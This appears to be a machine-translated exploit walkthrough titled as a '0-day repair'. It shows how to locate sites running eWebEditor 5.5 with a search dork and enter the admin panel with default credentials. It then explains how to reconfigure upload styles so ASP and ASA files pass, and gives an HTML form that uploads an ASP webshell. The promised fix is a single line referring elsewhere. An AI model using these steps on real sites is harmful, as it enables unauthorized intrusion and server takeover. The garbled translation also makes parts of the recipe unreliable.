0-day repair for a construction and decoration company

Author: script kiddies

Google Search: inurl: xxhs. asp? Classid =

Vulnerability eWebEditor5.5

Webshell Method

Go directly to the backend eWebEditor/admin/login. asp

Admin, default account password

Log on to the background and click "style management"

Manage popup styles

Modify

Path mode: Select absolute path
Image Type: gif | jpg | jpeg | bmp asp | asa | aaspsp | cer | cdx

The image type is, for example, the ASP Trojan format to be uploaded.

Upload path :/

Image restrictions: write 1000 free of errors and cannot access our asp Trojan
Do not write the uploaded content

Then we can submit
The style is successfully added!

Then

Save the following code as scriptkiddies.html.

<Form action = "www.2cto.com/eWebEditor/asp/upload. asp? Action = save & type = image & style = popup & cusdir = scriptkiddies. asp "method = post name = myform enctype =" multipart/form-data ">
<Input type = file name = uploadfile size = 100> <br>
<Input type = submit value = upload>
</Form>

Then upload the asp or ASA Trojan.

You know.
 
Fix: Editor vulnerability again. Refer to previous articles on this site.